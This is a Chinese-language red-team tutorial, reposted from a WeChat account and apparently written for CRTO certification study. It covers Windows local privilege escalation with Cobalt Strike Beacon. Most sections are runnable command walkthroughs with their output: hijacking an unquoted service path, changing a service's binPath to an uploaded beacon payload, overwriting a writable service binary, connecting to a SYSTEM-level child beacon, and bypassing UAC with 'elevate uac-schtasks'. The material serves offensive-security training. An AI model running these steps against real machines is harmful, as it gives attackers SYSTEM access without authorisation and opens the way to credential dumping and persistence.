本章主要介绍Windows提权的几种常见方法,Windows服务、未见引号的服务路径、弱服务权限、弱服务二进制文件权限、Bypass UAC的实施方法
1-概述
主机提权是指将普通用户提升到管理员或者SYSTEM权限,这不是必需的步骤,在后面的章节中讲解无需先提权即可获取特权凭据并在域中横向移动
但是提权可以获得额外能力带来战术优势,比如使用 Mimikatz 转储凭据、安装隐秘持久化或操纵防火墙等主机配置等
遵循“最小特权原则”, 只在有需要时再提权。因为提权操作可能会留下痕迹被防守方检测到,所以提权前需要计划风险与回报
常见的提权方法包括操作系统或第三方软件配置错误以及未及时补丁
SharpUp(https://github.com/GhostPack/SharpUp)可以枚举主机中任何基于配置错误的提权点
2-Windows服务
Windows服务是一种特殊类型的应用程序,通常在计算机启动时自动运行
服务是用来启动和管理核心 Windows 功能的,例如 Windows Defender、Windows 防火墙、Windows 更新等
第三方应用程序也可以安装 Windows 服务来管理它们的运行方式和时间
可以通过打开services.msc或通过sc命令行工具查看计算机上安装的服务
C:>sc query
SERVICE_NAME: Appinfo
DISPLAY_NAME: Application Information
TYPE : 30 WIN32
STATE : 4 RUNNING
(STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x0
SERVICE_NAME: AudioEndpointBuilder
DISPLAY_NAME: Windows Audio Endpoint Builder
TYPE : 30 WIN32
STATE : 4 RUNNING
(STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x0
以及使用PowerShell的Get-Service命令
PS C:> Get-Service | fl
Name : AJRouter
DisplayName : AllJoyn Router Service
Status : Stopped
DependentServices : {}
ServicesDependedOn : {}
CanPauseAndContinue : False
CanShutdown : False
CanStop : False
ServiceType : Win32ShareProcess
Name : ALG
DisplayName : Application Layer Gateway Service
Status : Stopped
DependentServices : {}
ServicesDependedOn : {}
CanPauseAndContinue : False
CanShutdown : False
CanStop : False
ServiceType : Win32OwnProcess
服务的以下属性需要关注:
1-二进制程序路径
服务的实际可执行文件 (.exe) 所在的路径,Windows 服务通常位于C:Windowssystem32目录中,第三方服务位于C:Program Files和C:Program Files (x86)目录中
2-启动类型
决定服务何时启动
Automatic:服务在启动时立即启动
Automatic (Delayed Start):服务在启动后等待一小段时间再启动(主要是传统选项,旨在帮助桌面更快地加载)
Manual:仅当特别要求时,服务才会启动
Disabled:服务已禁用且不会运行
3-服务状态
服务的当前状态。
Running:服务正在运行
Stopped:服务未运行
StartPending:已要求服务启动并且正在执行其启动程序
StopPending:已要求服务停止并正在执行其关闭程序
4-登录身份
配置服务运行的用户帐户
可以是域或本地帐户,服务通常以高权限帐户(甚至是域管理员)或本地系统的身份运行,这就是为什么服务可以成为本地和域权限提升的重点
5-支持和依赖
当前服务运行所依赖的服务,或依赖于此服务运行的其他服务,用于判断更改后带来的潜在影响
与文件和文件夹一样服务本身(而不仅仅是 .exe)也分配有权限,控制了哪些用户可以修改、启动或停止服务
一些高度敏感的服务(例如 Windows Defender)无法停止,即使是管理员也无法停止
其他服务的权限会弱一些,有些允许普通用户通过修改它们进行提权
在通过修改服务进行提权后,有时需要重新启动服务(如果已停止,则启动它)才可以完成提权。如果当前用户有重启的权限,可以使用管理工具完成重启。如没有重启权限,则需要等待系统自动重启
根据OPSEC原则,完成提权后尽量恢复服务配置。确保不会中断关键业务服务
3-未加引号的服务路径
未加引号的服务路径是指服务二进制文件的路径未用引号括起来,就其本身而言不是问题,但在特定条件下可导致提权
WMI 可用于提取每个服务及其可执行文件的列表。以下是一些示例:
beacon> run wmic service get name, pathname
Name PathName
ALG C:WindowsSystem32alg.exe
AppVClient C:Windowssystem32AppVClient.exe
Sense "C:Program FilesWindows Defender Advanced Threat ProtectionMsSense.exe"
[...snip...]
VulnService1 C:Program FilesVulnerable ServicesService 1.exe
可以看到ALG 和 AppVClient 的路径没有加引号,但 Sense 的路径加了引号,不同之处在于后者路径中有空格
VulnService1的路径中有空格,也没有加引号,这是可被利用的必备条件之一
当 Windows 尝试读取此可执行文件的路径时,会将空格解释为终止符。因此,它将尝试执行以下操作(按顺序):
C:Program.exe
C:Program FilesVulnerable.exe
C:Program FilesVulnerable ServicesService.exe
如果我们可以将二进制文件放入上述任何路径中,服务就会在实际路径之前执行它
保证有权限写入其中任何一个路径,这是可被利用的必备条件之二
PowerShell的Get-Acl命令可以显示各种对象(包括文件和目录)的权限。
beacon> powershell Get-Acl -Path "C:Program FilesVulnerable Services" | fl
Path : Microsoft.PowerShell.CoreFileSystem::C:Program FilesVulnerable Services
Owner : BUILTINAdministrators
Group : DEVDomain Users
Access : BUILTINUsers Allow CreateFiles, Synchronize
NT SERVICETrustedInstaller Allow FullControl
NT SERVICETrustedInstaller Allow 268435456
NT AUTHORITYSYSTEM Allow FullControl
NT AUTHORITYSYSTEM Allow 268435456
BUILTINAdministrators Allow FullControl
BUILTINAdministrators Allow 268435456
BUILTINUsers Allow ReadAndExecute, Synchronize
BUILTINUsers Allow -1610612736
CREATOR OWNER Allow 268435456
APPLICATION PACKAGE AUTHORITYALL APPLICATION PACKAGES Allow ReadAndExecute, Synchronize
APPLICATION PACKAGE AUTHORITYALL APPLICATION PACKAGES Allow -1610612736
APPLICATION PACKAGE AUTHORITYALL RESTRICTED APPLICATION PACKAGES Allow ReadAndExecute, Synchronize
APPLICATION PACKAGE AUTHORITYALL RESTRICTED APPLICATION PACKAGES Allow -1610612736
Audit :
Sddl : O:BAG:DUD:AI(A;;0x100002;;;BU)(A;ID;FA;;;S-1-5-80-956008885-3418522649-1831038044-1853292631-2271478464)(A;CII
OID;GA;;;S-1-5-80-956008885-3418522649-1831038044-1853292631-2271478464)(A;ID;FA;;;SY)(A;OICIIOID;GA;;;SY)(A;I
D;FA;;;BA)(A;OICIIOID;GA;;;BA)(A;ID;0x1200a9;;;BU)(A;OICIIOID;GXGR;;;BU)(A;OICIIOID;GA;;;CO)(A;ID;0x1200a9;;;A
C)(A;OICIIOID;GXGR;;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)(A;OICIIOID;GXGR;;;S-1-15-2-2)
从输出中可以看到,BUILTINUsers对C:Program FilesVulnerable Services目录具有CreateFiles权限,可以上传恶意二进制文件来劫持这个未加引号的路径,使用SharpUp可以列出符合这些条件的任何服务
beacon> execute-assembly C:ToolsSharpUpSharpUpbinReleaseSharpUp.exe audit UnquotedServicePath
=== SharpUp: Running Privilege Escalation Checks ===
=== Services with Unquoted Paths ===
Service 'VulnService1' (StartMode: Automatic) has executable 'C:Program FilesVulnerable ServicesService 1.exe', but 'C:Program FilesVulnerable ServicesService' is modifable.
滥用服务的有效负载必须是特定的“服务二进制文件”,因为它们需要与服务控制管理器交互。使用“生成所有有效负载”选项时,这些有效负载的文件名中都有svc字样
建议在提权时使用绑定到本地主机的 TCP beacon
beacon> cd C:Program FilesVulnerable Services
beacon> ls
Size Type Last Modified Name
---- ---- ------------- ----
5kb fil 02/23/2021 15:04:13 Service 1.exe
5kb fil 02/23/2021 15:04:13 Service 2.exe
5kb fil 02/23/2021 15:04:13 Service 3.exe
beacon> upload C:Payloadstcp-local_x64.svc.exe
beacon> mv tcp-local_x64.svc.exe Service.exe
beacon> ls
Size Type Last Modified Name
---- ---- ------------- ----
5kb fil 02/23/2021 15:04:13 Service 1.exe
5kb fil 02/23/2021 15:04:13 Service 2.exe
5kb fil 02/23/2021 15:04:13 Service 3.exe
290kb fil 03/03/2021 11:11:27 Service.exe
beacon> run sc stop VulnService1
SERVICE_NAME: VulnService1
TYPE : 10 WIN32_OWN_PROCESS
STATE : 3 STOP_PENDING
(STOPPABLE, NOT_PAUSABLE, ACCEPTS_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x0
beacon> run sc start VulnService1
SERVICE_NAME: VulnService1
TYPE : 10 WIN32_OWN_PROCESS
STATE : 2 START_PENDING
(NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x7d0
PID : 4384
FLAGS :
默认情况下,普通用户无法停止或启动服务,因此通常需要等待计算机重新启动
启动服务时,其状态为START_PENDING。随后使用sc query VulnService1检查其状态,处于STOPPED 状态。查看4444端口已经开始监听
beacon> run netstat -anp tcp
[...snip...]
TCP 127.0.0.1:4444 0.0.0.0:0 LISTENING
Beacon 正在等待连接,通过connect命令进行连接
beacon> connect localhost 4444
[+] established link to child beacon: 10.10.123.102
要恢复服务,只需删除Service.exe并重新启动该服务
4-弱服务权限
简单来说就是服务配置可以修改、服务可以停止和启动,修改服务二进制文件路径后重启服务
枚举弱服务权限提权漏洞
beacon> execute-assembly C:ToolsSharpUpSharpUpbinReleaseSharpUp.exe audit ModifiableServices
=== Modifiable Services ===
Service 'VulnService2' (State: Running, StartMode: Auto)
显示Service 2.exe Modifiable,用PS脚本(https://rohnspowershellblog.wordpress.com/2013/03/19/viewing-service-acls/)查看对上面程序的具体权限
beacon> powershell-import C:ToolsGet-ServiceAcl.ps1
beacon> powershell Get-ServiceAcl -Name VulnService2 | select -expand Access
ServiceRights : ChangeConfig, Start, Stop
AccessControlType : AccessAllowed
IdentityReference : NT AUTHORITYAuthenticated Users
IsInherited : False
InheritanceFlags : None
PropagationFlags : None
显示有ChangeConfig, Start, Stop权限,有更改配置的权限
查看当前服务配置
beacon> run sc qc VulnService2
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: VulnService2
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : "C:Program FilesVulnerable ServicesService 2.exe"
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : VulnService2
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
二进制文件路径是"C:Program FilesVulnerable ServicesService 2.exe",准备一个payload上传到C:Temptcp-local_x64.svc.exe,编辑指定上面服务的config二进制文件
beacon> mkdir C:Temp
beacon> cd C:Temp
beacon> upload C:Payloadstcp-local_x64.svc.exe
beacon> run sc config VulnService2 binPath= C:Temptcp-local_x64.svc.exe
[SC] ChangeServiceConfig SUCCESS
注意:后面的空格binPath=
是固定格式的
验证更改后的服务信息
beacon> run sc qc VulnService2
SERVICE_NAME: Vuln-Service-2
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:Temptcp-local_x64.svc.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : VulnService2
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
因为服务正在运行,需要重启服务,然后连接shell
beacon> run sc stop VulnService2
beacon> run sc start VulnService2
beacon> connect localhost 4444
[+] established link to child beacon: 10.10.123.102
恢复服务配置
beacon> run sc config VulnService2 binPath= ""C:Program FilesVulnerable ServicesService 2.exe""
[SC] ChangeServiceConfig SUCCESS
注意:双引号的转义字符
5-弱服务二进制文件权限
简单来说就是服务的二进制文件可以被替换,可以重启服务
直接替换服务的exe程序进行提权
beacon> powershell Get-Acl -Path "C:Program FilesVulnerable ServicesService 3.exe" | fl
Path : Microsoft.PowerShell.CoreFileSystem::C:Program FilesVulnerable ServicesService 3.exe
Owner : BUILTINAdministrators
Group : DEVDomain Users
Access : BUILTINUsers Allow Modify, Synchronize
NT AUTHORITYSYSTEM Allow FullControl
BUILTINAdministrators Allow FullControl
BUILTINUsers Allow ReadAndExecute, Synchronize
APPLICATION PACKAGE AUTHORITYALL APPLICATION PACKAGES Allow ReadAndExecute, Synchronize
APPLICATION PACKAGE AUTHORITYALL RESTRICTED APPLICATION PACKAGES Allow ReadAndExecute, Synchronize
Audit :
Sddl : O:BAG:DUD:AI(A;;0x1301bf;;;BU)(A;ID;FA;;;SY)(A;ID;FA;;;BA)(A;ID;0x1200a9;;;BU)(A;ID;0x1200a9;;;AC)(A;ID;0x1200
a9;;;S-1-15-2-2)
输出表明BUILTINUsers对Service 3.exe具有修改权限。用其他内容覆盖该二进制文件(请确保先进行备份
beacon> download Service 3.exe
[*] started download of C:Program FilesVuln ServicesService 3.exe (5120 bytes)
[*] download of Service 3.exe is complete
复制有效负载,同时将其重命名为 Service 3.exe
PS C:Payloads> copy "tcp-local_x64.svc.exe" "Service 3.exe"
上传报错
beacon> upload C:PayloadsService 3.exe
[-] could not upload file: 32 - ERROR_SHARING_VIOLATION
使用net helpmsg
命令查看报错信息
C:>net helpmsg 32
The process cannot access the file because it is being used by another process.
先停止程序,再替换,最后重启生效
beacon> run sc stop VulnService3
beacon> upload C:PayloadsService 3.exe
beacon> ls
[*] Listing: C:Program FilesVuln Services
Size Type Last Modified Name
---- ---- ------------- ----
5kb fil 02/23/2021 15:04:13 Service 1.exe
5kb fil 02/23/2021 15:04:13 Service 2.exe
290kb fil 03/03/2021 11:38:24 Service 3.exe
beacon> run sc start VulnService3
beacon> connect localhost 4444
[+] established link to child beacon: 10.10.123.102
6-Bypass UAC
用户帐户控制 (UAC) 是 Windows 中的一项技术,它强制应用程序在请求管理访问令牌时提示用户选择同意。Bob 是Workstation 2上的本地管理员,但是如果我们打开命令提示符并尝试添加新的本地用户,我们会被拒绝访问。此 cmd.exe 实例在“中等完整性”下运行
C:Usersbfarmer>net user hacker Passw0rd! /add
System error 5 has occurred.
Access is denied.
C:Usersbfarmer>whoami /groups
Mandatory LabelMedium Mandatory Level
右键单击cmd.exe并选择“以管理员身份运行”,这将导致出现 UAC 提示
单击“是”后,命令提示符才具有足够的权限来更改系统配置,因为它现在将以“高完整性”运行
C:Windowssystem32>whoami /groups
Mandatory LabelHigh Mandatory Level
UAC“绕过”是一种技术,它允许中等完整性进程提升自身或生成高完整性的新进程,而无需提示用户同意。高完整性对于攻击者来说很重要,因为它是各种后利用操作(例如转储凭据)所必需的
Beacon 有一些内置的 UAC 绕过方法,还有一些通过Elevate Kit(https://github.com/cobalt-strike/ElevateKit)提供的(为方便使用,可将其预加载到 Cobalt Strike 中)。这些方法通过命令elevate完成
beacon> elevate uac-schtasks tcp-local
[*] Tasked Beacon to run windows/beacon_bind_tcp (127.0.0.1:4444) in a high integrity context
[+] established link to child beacon: 10.10.123.102
原文始发于微信公众号(高级红队专家):CRTO | 主机提权
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论